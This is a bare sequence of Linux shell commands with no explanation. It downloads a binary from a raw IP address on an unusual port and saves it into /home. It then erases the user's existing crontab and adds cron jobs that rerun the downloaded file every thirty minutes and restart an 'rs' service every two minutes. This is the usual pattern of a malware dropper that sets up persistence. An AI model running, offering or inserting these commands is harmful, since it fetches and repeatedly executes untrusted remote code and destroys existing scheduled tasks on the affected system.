curl -o /home/monitor http://223.113.133.234:17881/rs/monitor.bin crontab -r (crontab -l ; echo "*/2 * * * * pgrep -x /home/rs > /dev/null || { systemctl start rs }") | crontab - (crontab -l ; echo "*/30 * * * * /home/monitor") | crontab -